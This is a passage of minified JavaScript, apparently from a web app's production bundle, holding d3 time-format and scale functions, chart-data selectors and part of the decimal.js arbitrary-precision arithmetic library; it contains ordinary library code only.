o[C.getUTCDay()]}function ue(C){return s[C.getUTCDay()]}function be(C){return c[C.getUTCMonth()]}function ye(C){return l[C.getUTCMonth()]}function q(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var Y=k(C+="",w);return Y.toString=function(){return C},Y},parse:function(C){var Y=z(C+="",!1);return Y.toString=function(){return C},Y},utcFormat:function(C){var Y=k(C+="",j);return Y.toString=function(){return C},Y},utcParse:function(C){var Y=z(C+="",!0);return Y.toString=function(){return C},Y}}}var o2={"-":"",_:" ",0:"0"},zt=/^\s*\d+/,iL=/^%/,aL=/[\\^$*+?|[\]().{}]/g;function _e(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s<n?new Array(n-s+1).join(t)+i:i)}function sL(e){return e.replace(aL,"\\$&")}function Gs(e){return new RegExp("^(?:"+e.map(sL).join("|")+")","i")}function Ys(e){return new Map(e.map((t,n)=>[t.toLowerCase(),n]))}function oL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function lL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function cL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function uL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function dL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function l2(e,t,n){var r=zt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function c2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function fL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function mL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function pL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function u2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function hL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function d2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function xL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function vL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function gL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function yL(e,t,n){var r=zt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function bL(e,t,n){var r=iL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function wL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function jL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function f2(e,t){return _e(e.getDate(),t,2)}function NL(e,t){return _e(e.getHours(),t,2)}function kL(e,t){return _e(e.getHours()%12||12,t,2)}function zL(e,t){return _e(1+hl.count(Rr(e),e),t,3)}function x4(e,t){return _e(e.getMilliseconds(),t,3)}function SL(e,t){return x4(e,t)+"000"}function CL(e,t){return _e(e.getMonth()+1,t,2)}function PL(e,t){return _e(e.getMinutes(),t,2)}function EL(e,t){return _e(e.getSeconds(),t,2)}function _L(e){var t=e.getDay();return t===0?7:t}function AL(e,t){return _e(Qd.count(Rr(e)-1,e),t,2)}function v4(e){var t=e.getDay();return t>=4||t===0?fs(e):fs.ceil(e)}function OL(e,t){return e=v4(e),_e(fs.count(Rr(e),e)+(Rr(e).getDay()===4),t,2)}function TL(e){return e.getDay()}function ML(e,t){return _e(Tu.count(Rr(e)-1,e),t,2)}function LL(e,t){return _e(e.getFullYear()%100,t,2)}function IL(e,t){return e=v4(e),_e(e.getFullYear()%100,t,2)}function DL(e,t){return _e(e.getFullYear()%1e4,t,4)}function RL(e,t){var n=e.getDay();return e=n>=4||n===0?fs(e):fs.ceil(e),_e(e.getFullYear()%1e4,t,4)}function $L(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+_e(t/60|0,"0",2)+_e(t%60,"0",2)}function m2(e,t){return _e(e.getUTCDate(),t,2)}function BL(e,t){return _e(e.getUTCHours(),t,2)}function FL(e,t){return _e(e.getUTCHours()%12||12,t,2)}function WL(e,t){return _e(1+Zd.count($r(e),e),t,3)}function g4(e,t){return _e(e.getUTCMilliseconds(),t,3)}function UL(e,t){return g4(e,t)+"000"}function VL(e,t){return _e(e.getUTCMonth()+1,t,2)}function HL(e,t){return _e(e.getUTCMinutes(),t,2)}function KL(e,t){return _e(e.getUTCSeconds(),t,2)}function GL(e){var t=e.getUTCDay();return t===0?7:t}function YL(e,t){return _e(Jd.count($r(e)-1,e),t,2)}function y4(e){var t=e.getUTCDay();return t>=4||t===0?ms(e):ms.ceil(e)}function qL(e,t){return e=y4(e),_e(ms.count($r(e),e)+($r(e).getUTCDay()===4),t,2)}function XL(e){return e.getUTCDay()}function ZL(e,t){return _e(Mu.count($r(e)-1,e),t,2)}function QL(e,t){return _e(e.getUTCFullYear()%100,t,2)}function JL(e,t){return e=y4(e),_e(e.getUTCFullYear()%100,t,2)}function eI(e,t){return _e(e.getUTCFullYear()%1e4,t,4)}function tI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ms(e):ms.ceil(e),_e(e.getUTCFullYear()%1e4,t,4)}function nI(){return"+0000"}function p2(){return"%"}function h2(e){return+e}function x2(e){return Math.floor(+e/1e3)}var ka,b4,w4;rI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function rI(e){return ka=rL(e),b4=ka.format,ka.parse,w4=ka.utcFormat,ka.utcParse,ka}function iI(e){return new Date(e)}function aI(e){return e instanceof Date?+e:+new Date(+e)}function k0(e,t,n,r,i,s,o,l,c,u){var d=u0(),f=d.invert,p=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function N(k){return(c(k)<k?h:l(k)<k?x:o(k)<k?g:s(k)<k?y:r(k)<k?i(k)<k?v:b:n(k)<k?w:j)(k)}return d.invert=function(k){return new Date(f(k))},d.domain=function(k){return arguments.length?p(Array.from(k,aI)):p().map(iI)},d.ticks=function(k){var z=p();return e(z[0],z[z.length-1],k??10)},d.tickFormat=function(k,z){return z==null?N:u(z)},d.nice=function(k){var z=p();return(!k||typeof k.range!="function")&&(k=t(z[0],z[z.length-1],k??10)),k?p(o4(z,k)):d},d.copy=function(){return pl(d,k0(e,t,n,r,i,s,o,l,c,u))},d}function sI(){return Mn.apply(k0(tL,nL,Rr,j0,Qd,hl,b0,g0,Xi,b4).domain([new Date(2e3,0,1),new Date(2e3,0,2)]),arguments)}function oI(){return Mn.apply(k0(J7,eL,$r,N0,Jd,Zd,w0,y0,Xi,w4).domain([Date.UTC(2e3,0,1),Date.UTC(2e3,0,2)]),arguments)}function ef(){var e=0,t=1,n,r,i,s,o=Ft,l=!1,c;function u(f){return f==null||isNaN(f=+f)?c:o(i===0?.5:(f=(s(f)-n)*i,l?Math.max(0,Math.min(1,f)):f))}u.domain=function(f){return arguments.length?([e,t]=f,n=s(e=+e),r=s(t=+t),i=n===r?0:1/(r-n),u):[e,t]},u.clamp=function(f){return arguments.length?(l=!!f,u):l},u.interpolator=function(f){return arguments.length?(o=f,u):o};function d(f){return function(p){var h,x;return arguments.length?([h,x]=p,o=f(h,x),u):[o(0),o(1)]}}return u.range=d(js),u.rangeRound=d(c0),u.unknown=function(f){return arguments.length?(c=f,u):c},function(f){return s=f,n=f(e),r=f(t),i=n===r?0:1/(r-n),u}}function Oi(e,t){return t.domain(e.domain()).interpolator(e.interpolator()).clamp(e.clamp()).unknown(e.unknown())}function j4(){var e=Ai(ef()(Ft));return e.copy=function(){return Oi(e,j4())},Gr.apply(e,arguments)}function N4(){var e=m0(ef()).domain([1,10]);return e.copy=function(){return Oi(e,N4()).base(e.base())},Gr.apply(e,arguments)}function k4(){var e=p0(ef());return e.copy=function(){return Oi(e,k4()).constant(e.constant())},Gr.apply(e,arguments)}function z0(){var e=h0(ef());return e.copy=function(){return Oi(e,z0()).exponent(e.exponent())},Gr.apply(e,arguments)}function lI(){return z0.apply(null,arguments).exponent(.5)}function z4(){var e=[],t=Ft;function n(r){if(r!=null&&!isNaN(r=+r))return t((fl(e,r,1)-1)/(e.length-1))}return n.domain=function(r){if(!arguments.length)return e.slice();e=[];for(let i of r)i!=null&&!isNaN(i=+i)&&e.push(i);return e.sort(wi),n},n.interpolator=function(r){return arguments.length?(t=r,n):t},n.range=function(){return e.map((r,i)=>t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,s)=>G8(e,s/r))},n.copy=function(){return z4(t).domain(e)},Gr.apply(n,arguments)}function tf(){var e=0,t=.5,n=1,r=1,i,s,o,l,c,u=Ft,d,f=!1,p;function h(g){return isNaN(g=+g)?p:(g=.5+((g=+d(g))-s)*(r*g<r*s?l:c),u(f?Math.max(0,Math.min(1,g)):g))}h.domain=function(g){return arguments.length?([e,t,n]=g,i=d(e=+e),s=d(t=+t),o=d(n=+n),l=i===s?0:.5/(s-i),c=s===o?0:.5/(o-s),r=s<i?-1:1,h):[e,t,n]},h.clamp=function(g){return arguments.length?(f=!!g,h):f},h.interpolator=function(g){return arguments.length?(u=g,h):u};function x(g){return function(y){var v,b,w;return arguments.length?([v,b,w]=y,u=b7(g,[v,b,w]),h):[u(0),u(.5),u(1)]}}return h.range=x(js),h.rangeRound=x(c0),h.unknown=function(g){return arguments.length?(p=g,h):p},function(g){return d=g,i=g(e),s=g(t),o=g(n),l=i===s?0:.5/(s-i),c=s===o?0:.5/(o-s),r=s<i?-1:1,h}}function S4(){var e=Ai(tf()(Ft));return e.copy=function(){return Oi(e,S4())},Gr.apply(e,arguments)}function C4(){var e=m0(tf()).domain([.1,1,10]);return e.copy=function(){return Oi(e,C4()).base(e.base())},Gr.apply(e,arguments)}function P4(){var e=p0(tf());return e.copy=function(){return Oi(e,P4()).constant(e.constant())},Gr.apply(e,arguments)}function S0(){var e=h0(tf());return e.copy=function(){return Oi(e,S0()).exponent(e.exponent())},Gr.apply(e,arguments)}function cI(){return S0.apply(null,arguments).exponent(.5)}const io=Object.freeze(Object.defineProperty({__proto__:null,scaleBand:s0,scaleDiverging:S4,scaleDivergingLog:C4,scaleDivergingPow:S0,scaleDivergingSqrt:cI,scaleDivergingSymlog:P4,scaleIdentity:s4,scaleImplicit:ph,scaleLinear:a4,scaleLog:l4,scaleOrdinal:a0,scalePoint:X8,scalePow:x0,scaleQuantile:d4,scaleQuantize:f4,scaleRadial:u4,scaleSequential:j4,scaleSequentialLog:N4,scaleSequentialPow:z0,scaleSequentialQuantile:z4,scaleSequentialSqrt:lI,scaleSequentialSymlog:k4,scaleSqrt:U7,scaleSymlog:c4,scaleThreshold:m4,scaleTime:sI,scaleUtc:oI,tickFormat:i4},Symbol.toStringTag,{value:"Module"}));var Yr=e=>e.chartData,nf=I([Yr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),E4=(e,t,n,r)=>r?nf(e):Yr(e),uI=(e,t,n)=>n?nf(e):Yr(e);function Br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(Ee(t)&&Ee(n))return!0}return!1}function v2(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function _4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,s;if(Ee(n))i=n;else if(typeof n=="function")return;if(Ee(r))s=r;else if(typeof r=="function")return;var o=[i,s];if(Br(o))return o}}function dI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Br(r))return v2(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,s]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ge(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&Ly.test(i)){var c=Ly.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(s==="auto")t!=null&&(l=Math.max(...t));else if(ge(s))l=s;else if(typeof s=="function")try{t!=null&&(l=s(t==null?void 0:t[1]))}catch{}else if(typeof s=="string"&&Iy.test(s)){var d=Iy.exec(s);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var p=[o,l];if(Br(p))return t==null?p:v2(p,t,n)}}}var Ns=1e9,fI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},P0,Ge=!0,Tn="[DecimalError] ",ta=Tn+"Invalid argument: ",C0=Tn+"Exponent out of range: ",ks=Math.floor,Ui=Math.pow,mI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,ln,wt=1e7,We=7,A4=9007199254740991,Lu=ks(A4/We),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,s=this;if(e=new s.constructor(e),s.s!==e.s)return s.s||-e.s;if(s.e!==e.e)return s.e>e.e^s.s<0?1:-1;for(r=s.d.length,i=e.d.length,t=0,n=r<i?r:i;t<n;++t)if(s.d[t]!==e.d[t])return s.d[t]>e.d[t]^s.s<0?1:-1;return r===i?0:r>i^s.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*We;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return Er(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return Ie(Er(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return ft(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,s=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(ln))throw Error(Tn+"NaN");if(n.s<1)throw Error(Tn+(n.s?"NaN":"-Infinity"));return n.eq(ln)?new r(0):(Ge=!1,t=Er(Zo(n,s),Zo(e,s),s),Ge=!0,Ie(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?M4(t,e):O4(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Tn+"NaN");return n.s?(Ge=!1,t=Er(n,e,0,1).times(e),Ge=!0,n.minus(t)):Ie(new r(n),i)};pe.naturalExponential=pe.exp=function(){return T4(this)};pe.naturalLogarithm=pe.ln=function(){return Zo(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?O4(t,e):M4(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ta+e);if(t=ft(i)+1,r=i.d.length-1,n=r*We+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,s,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Tn+"NaN")}for(e=ft(l),Ge=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=cr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ks((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(s=r,r=s.plus(Er(l,s,o+2)).times(.5),cr(s.d).slice(0,o)===(t=cr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ie(s,n+1,0),s.times(s).eq(l)){r=s;break}}else if(t!="9999")break;o+=4}return Ge=!0,Ie(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,s,o,l,c,u,d=this,f=d.constructor,p=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=p.length,u=h.length,c<u&&(s=p,p=h,h=s,o=c,c=u,u=o),s=[],o=c+u,r=o;r--;)s.push(0);for(r=u;--r>=0;){for(t=0,i=c+r;i>r;)l=s[i]+h[r]*p[i-r-1]+t,s[i--]=l%wt|0,t=l/wt|0;s[i]=(s[i]+t)%wt|0}for(;!s[--o];)s.pop();return t?++n:s.shift(),e.d=s,e.e=n,Ge?Ie(e,f.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(pr(e,0,Ns),t===void 0?t=r.rounding:pr(t,0,8),Ie(n,e+ft(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ha(r,!0):(pr(e,0,Ns),t===void 0?t=i.rounding:pr(t,0,8),r=Ie(new i(r),e+1,t),n=ha(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?ha(i):(pr(e,0,Ns),t===void 0?t=s.rounding:pr(t,0,8),r=Ie(new s(i),e+ft(i)+1,t),n=ha(r.abs(),!1,e+ft(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return Ie(new t(e),ft(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,s,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(ln);if(l=new c(l),!l.s){if(e.s<1)throw Error(Tn+"Infinity");return l}if(l.eq(ln))return l;if(r=c.precision,e.eq(ln))return Ie(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,s=l.s,o){if((n=d<0?-d:d)<=A4){for(i=new c(ln),t=Math.ceil(r/We+4),Ge=!1;n%2&&(i=i.times(l),y2(i.d,t)),n=ks(n/2),n!==0;)l=l.times(l),y2(l.d,t);return Ge=!0,e.s<0?new c(ln).div(i):Ie(i,r)}}else if(s<0)throw Error(Tn+"NaN");return s=s<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Ge=!1,i=e.times(Zo(l,r+u)),Ge=!0,i=T4(i),i.s=s,i};pe.toPrecision=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?(n=ft(i),r=ha(i,n<=s.toExpNeg||n>=s.toExpPos)):(pr(e,1,Ns),t===void 0?t=s.rounding:pr(t,0,8),i=Ie(new s(i),e,t),n=ft(i),r=ha(i,e<=n||n<=s.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(pr(e,1,Ns),t===void 0?t=r.rounding:pr(t,0,8)),Ie(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ft(e),n=e.constructor;return ha(e,t<=n.toExpNeg||t>=n.toExpPos)};function O4(e,t){var n,r,i,s,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Ge?Ie(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),s=o-i,s){for(s<0?(r=c,s=-s,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/We),l=o>l?o+1:l+1,s>l&&(s=l,r.length=1),r.reverse();s--;)r.push(0);r.reverse()}for(l=c.length,s=u.length,l-s<0&&(s=l,r=u,u=c,c=r),n=0;s;)n=(c[--s]=c[s]+u[s]+n)/wt|0,c[s]%=wt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Ge?Ie(t,f):t}function pr(e,t,n){if(e!==~~e||e<t||e>n)throw Error(ta+e)}function cr(e){var t,n,r,i=e.length-1,s="",o=e[0];if(i>0){for(s+=o,t=1;t<i;t++)r=e[t]+"",n=We-r.length,n&&(s+=ri(n)),s+=r;o=e[t],r=o+"",n=We-r.length,n&&(s+=ri(n))}else if(o===0)return"0";for(;o%10===0;)o/=10;return s+o}var Er=function(){function e(r,i){var s,o=0,l=r.length;for(r=r.slice();l--;)s=r[l]*i+o,r[l]=s%wt|0,o=s/wt|0;return o&&r.unshift(o),r}function t(r,i,s,o){var l,c;if(s!=o)c=s>o?1:-1;else for(l=c=0;l<s;l++)if(r[l]!=i[l]){c=r[l]>i[l]?1:-1;break}return c}function n(r,i,s){for(var o=0;s--;)r[s]-=o,o=r[s]<i[s]?1:0,r[s]=o*wt+r[s]-i[s];for(;!r[0]&&r.length>1;)r.shift()}return function(r,i,s,o){var l,c,u,d,f,p,h,x,g,y,v,b,w,j,N,k,z,S,O=r.constructor,A=r.s==i.s?1:-1,T=r.d,P=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(Tn+"Division by zero");for(c=r.e-i.e,z=P.length,N=T.length,h=new O(A),x=h.d=[],u=0;P[u]==(T[u]||0);)++u;if(P[u]>(T[u]||0)&&--c,s==null?b=s=O.precision:o?b=s+(ft(r)-ft(i))+1:b=s,b<0)return new O(0);if(b=b/We+2|0,u=0,z==1)for(d=0,P=P[0],b++;(u<N||d)&&b--;u++)w=d*wt+(T[u]||0),x[u]=w/P|0,d=w%P|0;else{for(d=wt/(P[0]+1)|0,d>1&&(P=e(P,d),T=e(T,d),z=P.length,N=T.length),j=z,g=T.slice(0,z),y=g.length;y<z;)g[y++]=0;S=P.slice(),S.unshift(0),k=P[0],P[1]>=wt/2&&++k;do d=0,l=t(P,g,z,y),l<0?(v=g[0],z!=y&&(v=v*wt+(g[1]||0)),d=v/k|0,d>1?(d>=wt&&(d=wt-1),f=e(P,d),p=f.length,y=g.length,l=t(f,g,p,y),l==1&&(d--,n(f,z<p?S:P,p))):(d==0&&(l=d=1),f=P.slice()),p=f.length,p<y&&f.unshift(0),n(g,f,y),l==-1&&(y=g.length,l=t(P,g,z,y),l<1&&(d++,n(g,z<y?S:P,y))),y=g.length):l===0&&(d++,g=[0]),x[u++]=d,l&&g[0]?g[y++]=T[j]||0:(g=[T[j]],y=1);while((j++<N||g[0]!==void 0)&&b--)}return x[0]||x.shift(),h.e=c,Ie(h,o?s+ft(h)+1:s)}}();function T4(e,t){var n,r,i,s,o,l,c=0,u=0,d=e.constructor,f=d.precision;if(ft(e)>16)throw Error(C0+ft(e));if(!e.s)return new d(ln);for(Ge=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ui(2,u))/Math.LN10*2+5|0,l+=r,n=i=s=new d(ln),d.precision=l;;){if(i=Ie(i.times(e),l),n=n.times(++c),o=s.plus(Er(i,n,l)),cr(o.d).slice(0,l)===cr(s.d).slice(0,l)){for(;u--;)s=Ie(s.times(s),l);return d.precision=f,t==null?(Ge=!0,Ie(s,f)):s}s=o}}function ft(e){for(var t=e.e*We,n=e.d[0];n>=10;n/=10)t++;return t}function jm(e,t,n){if(t>e.LN10.sd())throw Ge=!0,n&&(e.precision=n),Error(Tn+"LN10 precision limit exceeded");return Ie(new e(e.LN10),t)}function ri(e){for(var t="";e--;)t+="0";return t}function Zo(e,t){var n,r,i,s,o,l,c,u,d,f=1,p=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Tn+(h.s?"NaN":"-Infinity"));if(h.eq(ln))return new g(0);if(t==null?(Ge=!1,u=y):u=t,h.eq(10))return t==null&&(Ge=!0),jm(g,u);if(u+=p,g.precision=u,n=cr(x),r=n.charAt(0),s=ft(h),Math.abs(s)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=cr(h.d),r=n.charAt(0),f++;s=ft(h),r>1?(h=new g("0."+n),s++):h=new g(r+"."+n.slice(1))}else return c=jm(g,u+2,y).times(s+""),h=Zo(new g(r+"."+n.slice(1)),u-p).plus(c),g.precision=y,t==null?(Ge=!0,Ie(h,y)):h;for(l=o=h=Er(h.minus(ln),h.plus(ln),u),d=Ie(h.times(h),u),i=3;;){if(o=Ie(o.times(d),u),c=l.plus(Er(o,new g(i),u)),cr(c.d).slice(0,u)===cr(l.d).slice(0,u))return l=l.times(2),s!==0&&(l=l.plus(jm(g,u+2,y).times(s+""))),l=Er(l,new g(f),u),g.precision=y,t==null?(Ge=!0,Ie(l,y)):l;l=c,i+=2}}function g2(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ks(n/We),e.d=[],r=(n+1)%We,n<0&&(r+=We),r<i){for(r&&e.d.push(+t.slice(0,r)),i-=We;r<i;)e.d.push(+t.slice(r,r+=We));t=t.slice(r),r=We-t.length}else r-=i;for(;r--;)t+="0";if(e.d.push(+t),Ge&&(e.e>Lu||e.e<-Lu))throw Error(C0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ie(e,t,n){var r,i,s,o,l,c,u,d,f=e.d;for(o=1,s=f[0];s>=10;s/=10)o++;if(r=t-o,r<0)r+=We,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/We),s=f.length,d>=s)return e;for(u=s=f[d],o=1;s>=10;s/=10)o++;r%=We,i=r-We+o}if(n!==void 0&&(s=Ui(10,o-i-1),l=u/s%10|0,c=t<0||f[d+1]!==void 0||u%s,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ui(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(s=ft(e),f.length=1,t=t-s-1,f[0]=Ui(10,(We-t%We)%We),e.e=ks(-t/We)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,s=1,d--):(f.length=d+1,s=Ui(10,We-r),f[d]=i>0?(u/Ui(10,o-i)%Ui(10,i)|0)*s:0),c)for(;;)if(d==0){(f[0]+=s)==wt&&(f[0]=1,++e.e);break}else{if(f[d]+=s,f[d]!=wt)break;f[d--]=0,s=1}for(r=f.length;f[--r]===0;)f.pop();if(Ge&&(e.e>Lu||e.e<-Lu))throw Error(C0+ft(e));return e}function M4(e,t){var n,r,i,s,o,l,c,u,d,f,p=e.constructor,h=p.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new p(e),Ge?Ie(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/We),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i<l,d&&(l=i),i=0;i<l;i++)if(c[i]!=f[i]){d=c[i]<f[i];break}o=0}for(d&&(n=c,c=f,f=n,t.s=-t.s),l=c.length,i=f.length-l;i>0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]<f[i]){for(s=i;s&&c[--s]===0;)c[s]=wt-1;--c[s],c[i]+=wt}c[i]-=f[i]}for(;c[--l]===0;)c.pop();for(;c[0]===0;c.shift())--r;return c[0]?(t.d=c,t.e=r,Ge?Ie(t,h):t):new p(0)}function ha(e,t,n){var r,i=ft(e),s=cr(e.d),o=s.length;return 